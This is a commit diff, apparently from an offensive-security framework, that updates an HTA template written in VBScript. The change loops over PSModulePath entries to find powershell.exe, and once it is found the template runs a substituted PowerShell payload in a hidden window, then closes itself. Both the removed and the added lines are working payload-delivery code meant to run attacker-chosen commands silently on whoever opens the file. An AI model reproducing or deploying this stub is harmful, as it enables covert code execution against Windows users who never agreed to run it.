Handle multiple entries in PSModulePath
This commit handles the case where more than one entry exists in the PSModulePath environment variable. The updated code will loop through each entry in the PSModulePath checking for the presence of powershell.exe. When one is encountered it will execute the payload and exit the for loop.bug/bundler_fix
parent
9f892c56fb
commit
c724f0e05d
|
@ -1,8 +1,11 @@
|
|||
<script language="VBScript">
|
||||
Set %{var_shell} = CreateObject("Wscript.Shell")
|
||||
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
|
||||
If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
|
||||
%{var_shell}.Run "%{powershell}",0
|
||||
End If
|
||||
For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";")
|
||||
If %{var_fso}.FileExists(path + "\..\powershell.exe") Then
|
||||
%{var_shell}.Run "%{powershell}",0
|
||||
Exit For
|
||||
End If
|
||||
Next
|
||||
window.close()
|
||||
</script>
|
||||
|
|
Loading…
Reference in New Issue